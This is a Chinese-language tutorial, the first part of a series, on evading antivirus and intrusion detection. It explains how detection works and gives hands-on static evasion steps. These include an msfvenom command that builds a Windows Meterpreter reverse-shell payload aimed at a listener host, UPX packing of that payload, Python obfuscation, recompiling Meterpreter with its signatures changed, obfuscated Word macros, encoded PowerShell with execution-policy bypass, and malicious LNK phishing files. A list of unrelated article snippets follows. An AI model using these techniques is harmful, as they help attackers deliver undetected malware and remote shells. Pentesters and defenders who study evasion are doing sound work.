关于 免杀(上)

网络安全中的免杀技术:原理、方法与防御

免杀(Anti-AntiVirus,简称 AAV)是绕过杀毒软件、入侵检测系统(IDS)、入侵防御系统(IPS)等安全产品检测的技术,广泛应用于渗透测试的 payload 投递环节,同时也是恶意代码逃避查杀的核心手段。

在合法的渗透测试场景中,免杀是验证目标网络防御有效性的重要技术;但在黑产领域,免杀会被用于传播病毒、木马等恶意程序,需严格区分合法用途与非法滥用的边界。

一、免杀的核心原理

杀毒软件的检测机制主要分为特征码检测、行为检测、启发式检测、云检测四类,免杀技术本质就是针对这些检测机制的规避手段。

  1. 特征码检测杀毒软件会提取恶意程序的唯一特征(如特定字节序列、哈希值 MD5/SHA1)存入病毒库,扫描时比对文件特征。免杀核心思路:修改特征码,让程序脱离病毒库的匹配范围。
  2. 行为检测监控程序运行时的恶意行为(如创建后门、远程连接、修改注册表、注入进程),通过行为规则判定恶意性。免杀核心思路:隐藏或伪装恶意行为,如延迟执行、分段执行、模拟正常程序行为。
  3. 启发式检测不依赖病毒库,通过分析程序的代码结构、指令序列(如调用敏感 API、内存操作),预判程序是否存在潜在威胁。免杀核心思路:模糊代码逻辑、混淆敏感指令,降低启发式引擎的识别概率。
  4. 云检测将文件哈希、特征信息上传至云端进行比对,结合大数据分析判定恶意性。免杀核心思路:避免文件特征入库,如使用动态生成 payload、加密传输数据。

二、静态免杀

静态免杀:修改文件特征,规避特征码 / 启发式检测

  1. 加壳 / 加花指令

    • 原理:加壳是对程序进行加密压缩,运行时由壳代码解密后再执行,隐藏原始程序的特征码;加花指令是在程序头部 / 尾部添加无意义的指令(如空指令、垃圾代码),改变文件的字节特征,不影响程序功能。
    • 工具
      • 压缩壳:UPX、ASPack(易被杀毒软件识别,需搭配其他方法);
      • 加密壳:VMProtect、Themida(强度较高,通过虚拟化指令混淆代码);
      • 手动加花:使用汇编器(NASM)编写花指令,通过HIEW010 Editor等十六进制编辑器插入。
    • 实操示例:对 msfvenom 生成的 payload 进行 UPX 加壳
      # 生成原始 payload(Windows 反向连接) msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe # 使用 UPX 加壳压缩 upx -9 payload.exe -o payload_upx.exe
    • 注意:单纯加壳易被查杀,需结合混淆、加密等手段。
  2. 代码混淆与加密

    • 原理:通过修改代码的语法结构、变量名、函数名,或对核心代码进行加密(如 AES、RC4 加密),隐藏敏感逻辑,规避启发式检测。
    • 适用场景:自定义编写的木马、脚本类 payload(如 Python、PowerShell、C# 代码)。
    • 工具与实操
      • Python 脚本混淆:使用pyminifier混淆代码,或对核心功能进行 AES 加密,运行时解密执行
        # 安装 pyminifier pip install pyminifier # 混淆 Python 脚本 pyminifier --obfuscate=1 --rename-globals payload.py -o payload_obf.py
      • C# 代码混淆:使用ConfuserEx工具,通过控制流混淆、字符串加密、虚方法注入等方式混淆程序集。
    • 核心技巧:避免硬编码敏感数据(如 IP、端口),改为运行时从配置文件 / 网络获取。
  3. 重编译与特征修改

    • 原理:针对开源恶意代码(如 Meterpreter、Cobalt Strike Beacon),修改源代码中的特征字符串、函数名,再重新编译,彻底改变文件特征码。
    • 实操示例:修改 Meterpreter 源代码
      1. 下载 Metasploit 源码,找到meterpreter/source目录下的核心文件;
      2. 替换代码中的特征字符串(如Meterpreter改为随机字符串),调整函数的参数顺序;
      3. 使用 MinGW/Visual Studio 重新编译生成 exe 文件。
    • 优势:修改彻底,免杀效果持久;缺点:需要具备对应编程语言的编译能力。
  4. 文件类型转换

    • 原理:将易被检测的文件类型(如 exe、dll)转换为其他类型(如 scr、bat、ps1),或封装为文档(如 Word、Excel 宏文件)、图片(如 PNG 隐写),利用目标系统的漏洞或信任机制执行。
    • 常见手段
      • 宏病毒免杀:编写混淆后的 VBA 宏代码,嵌入 Word 文档,通过Enable Content触发执行;
      • 脚本免杀:将 PowerShell 脚本进行 Base64 编码,通过命令行隐蔽执行
        powershell -exec bypass -enc <Base64编码后的脚本>
      • LNK 快捷方式钓鱼:制作恶意 LNK 文件,双击时执行隐藏的 payload。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1164949.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数字孪生是什么?国内外有哪些服务商——技术实力/市场地位深度解析与全景测评

在数字化转型的浪潮中&#xff0c;数字孪生 已从一个前沿概念演变为驱动工业升级、城市治理和商业创新的核心引擎。它不仅是物理世界的虚拟镜像&#xff0c;更是连接数据、模拟与决策的智能化中枢。本文将深入剖析数字孪生的本质&#xff0c;并为您全景式盘点8家国内外领先的服…

树的练习3--------1022从根到叶的二进制数之和

前言 前面做了一道题目&#xff0c;感觉已经摸到递归大道的门把手了&#xff0c;现在做这个题还是有点模糊&#xff0c;知道怎么去做&#xff0c;但是不知道怎么去实现&#xff0c;现在看完题解以后&#xff0c;又对递归多了一点理解。 题目&#xff1a;点这里 解法 /*** D…

被多数品牌忽略的:一站式发稿平台为何成为高效营销的必备选择?

在当前的营销环境中&#xff0c;许多品牌团队都有过类似的经历&#xff1a;策划了一个优质内容&#xff0c;却在落地阶段陷入多方协调的困境——需要联系不同的媒体渠道&#xff0c;反复沟通发布细节&#xff0c;追踪分散各处的数据表现。这种传统的内容发布模式不仅耗费大量人…

基于Johansen协整检验的指数期权统计套利策略实现

策略功能与风险说明 本策略通过Johansen协整检验筛选具有长期均衡关系的标的资产组合&#xff0c;构建指数期权统计套利头寸。核心功能包括&#xff1a;1) 多变量时间序列协整关系验证&#xff1b;2) 动态跟踪误差控制&#xff1b;3) 期权希腊字母对冲。主要风险包含模型误设风…

救命神器2026最新!8款AI论文平台测评:本科生毕业论文全攻略

救命神器2026最新&#xff01;8款AI论文平台测评&#xff1a;本科生毕业论文全攻略 2026年AI论文平台测评&#xff1a;为什么你需要这份榜单&#xff1f; 随着人工智能技术的不断进步&#xff0c;越来越多的本科生开始依赖AI工具辅助毕业论文写作。然而&#xff0c;面对市场上琳…

导师推荐!9款一键生成论文工具测评:本科生毕业论文全攻略

导师推荐&#xff01;9款一键生成论文工具测评&#xff1a;本科生毕业论文全攻略 学术写作工具测评&#xff1a;为何需要一份精准指南 随着人工智能技术的不断发展&#xff0c;越来越多的本科生开始借助AI工具辅助论文写作。然而&#xff0c;面对市场上琳琅满目的论文生成工具&…

纯血鸿蒙中的HashMap不支持首选项存储,但是Record就支持

在 纯血鸿蒙&#xff08;HarmonyOS Next&#xff09; 的 ohos.data.preferences&#xff08;首选项&#xff09;中&#xff0c;HashMap 不能直接存储&#xff0c;而 Record<string, T>&#xff08;或普通对象 {}&#xff09;可以通过 JSON 序列化间接支持&#xff0c;其根…

2026算法备案最全实操攻略:政策解读、奖励申报与产品上架全流程

随着AI技术在各行业深度渗透&#xff0c;算法备案已从“可选合规项”升级为涉算法企业的“强制性门槛”。2025年监管部门进一步细化备案规则、强化区域政策支持&#xff0c;并联动应用商店上架审核&#xff0c;形成全链条监管体系。本篇本章将结合最新政策要求、地方奖励政策及…

苹果签名的江湖风云:四大令牌如何主宰App生死

当你手持iPhone&#xff0c;流畅地滑动屏幕&#xff0c;点开一个个精心设计的App时&#xff0c;可曾想过这一切背后运转着一套精密的数字法则&#xff1f;在苹果构筑的围墙花园里&#xff0c;每一个应用想要抵达你的设备&#xff0c;都必须手握一枚“数字令牌”——这就是苹果签…

2026 CTF 比赛实战指南:趋势解读 + 赛事推荐 + 备考策略,从入门到冲奖全攻略

2026年CTF比赛实战指南&#xff1a;趋势解读赛事推荐备考策略&#xff08;从入门到冲奖&#xff09; CTF&#xff08;Capture The Flag&#xff0c;夺旗赛&#xff09;作为网络安全领域的“实战练兵场”&#xff0c;早已成为计算机专业学生深耕网安赛道、职场人提升技术竞争力…

看不见的“门票”:一文读懂苹果签名的游戏规则

当你在iPhone上点击某个App图标时&#xff0c;也许从未意识到&#xff0c;这个看似简单的动作背后&#xff0c;是一场经过精密数字验证的“门票检查”。苹果签名体系就像是iOS王国的边防系统&#xff0c;它决定了哪些应用能够进入你的设备&#xff0c;以及它们能以何种方式存在…

HMM隐马尔可夫模型在指数期权双币种套利策略

1. 策略功能与核心逻辑说明 本策略基于HMM&#xff08;隐马尔可夫模型&#xff09;构建&#xff0c;旨在通过识别金融市场中隐藏的状态转换规律&#xff0c;捕捉指数期权与外汇市场间的双币种套利机会。其核心功能是通过多维度市场数据训练HMM&#xff0c;推断当前市场所处的隐…

攻防演练全流程实战指南:红队突破与蓝队防御核心技巧(网络对抗全解析)

攻防演练全流程实战指南&#xff1a;红队突破与蓝队防御核心技巧 攻防演练&#xff08;又称红蓝对抗&#xff09;是检验企业网络安全防护能力的核心手段&#xff0c;通过“红队模拟攻击、蓝队防御反击”的实战化对抗&#xff0c;暴露企业安全体系的薄弱环节&#xff0c;提升团…

linux清理缓存命令“echo 3 > /proc/sys/vm/drop_caches”

命令&#xff1a; echo 3 > /proc/sys/vm/drop_caches 是 Linux 系统中手动释放页缓存&#xff08;Page Cache&#xff09;的一种方式。下面详细解释其作用、原理和使用注意事项。 &#x1f50d; 一、作用&#xff1a;清空内核的缓存&#xff08;非应用程序内存&#xff09;…

RabbitMQ消息堆积问题处理

RabbitMQ消息堆积问题处理-ELK日志使用mq传输 20260115 下午2点 发现rabbitmq消息堆积&#xff0c;看是_log 的消息堆积&#xff0c;应该是ELK出现问题 df -h 查看ELK服务器 /dev/vda1 80G 80G 20K 100% / 需要释放磁盘空间&#xff0c;清理/var/log日志 后恢复至 …

蓝牙学习之Provision(4)

2.Authentication蓝牙 Mesh 配网&#xff08;Provisioning&#xff09;流程中“认证与确认”阶段的关键步骤&#xff0c;具体包括&#xff1a;Confirm&#xff08;确认值&#xff09;交换Random&#xff08;随机数&#xff09;交换&#xff08;本章说明&#xff09;当 IUT 收到…

AI应用架构师必看:智能质量控制平台为什么90%的项目死在数据层?

AI应用架构师必看:智能质量控制平台为什么90%的项目死在数据层? 一、引言:从“经验翻车”到“数据救命”的质检革命 凌晨3点,某新能源汽车工厂的质检车间依然灯火通明。生产线末端的机械臂正将刚组装好的电池包逐一送到人工质检台,8名质检员戴着放大镜,盯着电池表面的划…

手把手教你用7款AI写论文工具:效率飙升100%,告别拖延

你是否也曾面对空白的文档&#xff0c;陷入无尽的拖延&#xff1f;从选题构思、文献查阅、到初稿撰写、格式调整&#xff0c;论文写作的每一步都充满挑战。传统的写作方式不仅耗时耗力&#xff0c;还容易让人产生畏难情绪。幸运的是&#xff0c;人工智能&#xff08;AI&#xf…

USB 赋能 + AI 降噪双 buff!这款语音处理模组,让全场景沟通清晰到底

而这款具有 USB 功能的 AI 降噪语音处理模块&#xff0c;正是为解决这些问题而来。它将 USB 免驱便捷性与 AI 智能声学处理技术深度融合&#xff0c;既打破了传统模组的接口适配壁垒&#xff0c;又以硬核性能攻克噪音、回音等行业难题&#xff0c;成为多领域设备升级的 “声学核…

A59U 多模音频处理模组:USB 全兼容 + 全场景声学优化,让设备 “听见” 更清晰

在智能终端、远程通信、工业对讲等场景中&#xff0c;“接口不兼容”“噪音压人声”“回音干扰” 始终是音频体验的致命短板。A59U 多模音频处理模组以 USB 全系统免驱 AI 声学增强 多接口适配 为核心&#xff0c;既解决了设备接入的 “适配难题”&#xff0c;又以硬核性能攻…